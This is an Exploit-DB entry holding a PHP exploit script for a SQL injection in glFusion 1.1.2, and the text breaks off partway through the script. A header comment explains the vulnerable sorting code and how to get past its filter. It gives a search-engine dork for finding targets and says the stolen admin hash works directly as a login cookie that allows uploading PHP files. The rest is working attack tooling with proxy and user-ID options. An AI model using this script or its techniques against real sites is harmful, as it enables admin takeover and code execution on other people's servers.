Exploit-DB #8302
Description: glFusion 1.1.2 - 'COM_applyFilter()/order' SQL Injection
Type: webapps
Platform: php
Date: 2009-03-29
Author: Nine:Situations:Group

Exploit:
<?php
    /*
        glFusion <= 1.1.2 COM_applyFilter()/order sql injection exploit
        by Nine:Situations:Group::bookoo

        working against Mysql >= 4.1
        php.ini independent
		
	  our site: http://retrogod.altervista.org/
        software site: http://www.glfusion.org/

        google dork: "Page created in" "seconds by glFusion" +RSS

        Vulnerability, sql injection in 'order' and 'direction' arguments:
        look ExecuteQueries() function in /private/system/classes/listfactory.class.php, near line 336:
        ...

        // Get the details for sorting the list
        $this->_sort_arr['field'] = isset($_REQUEST['order']) ? COM_applyFilter($_REQUEST['order']) : $this->_def_sort_arr['field'];
        $this->_sort_arr['direction'] = isset($_REQUEST['direction']) ? COM_applyFilter($_REQUEST['direction']) : $this->_def_sort_arr['direction'];
        if (is_numeric($this->_sort_arr['field'])) {
            $ord = $this->_def_sort_arr['field'];
            $this->_sort_arr['field'] = SQL_TITLE;
        } else {
            $ord = $this->_sort_arr['field'];
        }

        $order_sql = ' ORDER BY ' . $ord . ' ' . strtoupper($this->_sort_arr['direction']);
        ...

        filters are inefficient, see COM_applyFilter() which calls COM_applyBasicFilter()
        in /public/lib-common.php near line 5774.

        We are in an ORDER clause and vars are not surrounded by quotes,
        bad chars are ex. "," , "/" ,"'", ";", "\",""","*","`"
	  but what about spaces and "("... you can use a CASE WHEN .. THEN .. ELSE .. END
	  construct instead of ex. IF(..,..,..) and "--" instead of "/*" to close
	  your query.
	  And ex. the alternative syntax SUBSTR(str FROM n FOR n) instead of
        SUBSTR(str,n,n) in a sub-SELECT statement.
	  Other attacks are possible, COM_applyFilter() is a very common used one.
	
	  Additional notes: 'direction' argument is uppercased by strtoupper(),
	  you know that table identifiers on Unix-like systems are case sensitives
	  but not on MS Windows, however I choosed to inject in the 'order' one
        for better results.
	  Vars come from the $_REQUEST[] array so you can pass it by $_POST[] or
	  $_COOKIE[], which is not intended I suppose.
	  
        This exploit extracts the hash from users table; also note that you do
        not need to crack the hash, you can authenticate as admin with the
        cookie:
		
	  glfusion=[uid]; glf_password=[hash];
		
	  as admin you can upload php files in public folders!
		
	  Very soft mitigations: glFusion does not show the table prefix in sql
        errors, default however is 'gl_'. I prepared a fast routine to extract
        it from information_schema db if availiable.
	  To successfully interrogate MySQL you need at least 2 records in the
        same topic section, however the default installation create 2 links with
        topic "glFusion"
        
    */

        $err[0]="[!] This script is intended to be launched from the cli!";
        $err[1]="[!] You need the curl extesion loaded!";

	  if (php_sapi_name() <> "cli") {
            die($err[0]);	
        }
        if (!extension_loaded('curl')) {
            $win = (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') ? true : false;
            if ($win) {
			    !dl("php_curl.dll") ? die($err[1]) : nil;
			}
			else {
			    !dl("php_curl.so") ? die($err[1]) : nil;
			}
        }

	  function syntax(){
	      print (			
	             "Syntax: php ".$argv[0]." [host] [path] [[port]] [OPTIONS]                \n".
	             "Options:                                                                 \n".
		       "--port:[port]       - specify a port                                     \n".
		       "                      default -> 80                                      \n".
		       "--prefix            - try to extract table prefix from information.schema\n".
		       "                      default -> gl_                                     \n".
		       "--uid:[n]           - specify an uid other than default (2,usually admin)\n".
		       "--proxy:[host:port] - use proxy                                          \n".
		       "--enforce           - try even with 'not vulnerable' message             ");
	     die();
	  }

        error_reporting(E_ALL ^ E_NOTICE);
        $host=$argv[1];
        $path=$argv[2];
        $prefix="gl_";      //default
        $uid="2";
        $where= "uid=$uid"; //user id, usually admin, anonymous = 1

	  $argv[2] ? print("[*] Attacking...\n") : syntax();
        $_f_prefix=false;
        $_use_proxy=false;
        $port=80;
        $_enforce=false;

        for ($i=3; $i<$argc; $i++){
            if ( stristr($argv[$i],"--prefix")){
	          $_f_prefix=true;
	      }
	      if ( stristr($argv[$i],"--proxy:")){
	          $_use_proxy=true;
		    $tmp=explode(":",$argv[$i]);
		    $proxy_host=$tmp[1];
		    $proxy_port=(int)$tmp[2];
	      }
	      if ( stristr($argv[$i],"--port:")){
	          $tmp=explode(":",$argv[$i]);
		    $port=(int)$tmp[1];
	      }
	      if ( stristr($argv[$i],"--enforce")){
	          $_enforce=true;
	      }
	      if ( stristr($argv[$i],"--uid")){
		    $tmp=explode(":",$argv[$i]);
		    $uid=(int)$tmp[1];
		    $where="uid=$uid";			
	      }
	  }

        $url = "http://$argv[1]:$port";

        function _s($url,$request)
        {
            global $_use_proxy,$proxy_host,$proxy_port;
            $ch = curl_init();
            curl_setopt($ch, CURLOPT_URL,$url);
            curl_setopt($ch, CURLOPT_POST, 1);
            curl_setopt($ch, CURLOPT_POSTFIELDS, $request."\r\n");
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
            curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.9.0.7) Gecko/[PII_REDACTED] Firefox/3.0.7");
            curl_setopt($ch, CURLOPT_TIMEOUT, 0);
            cu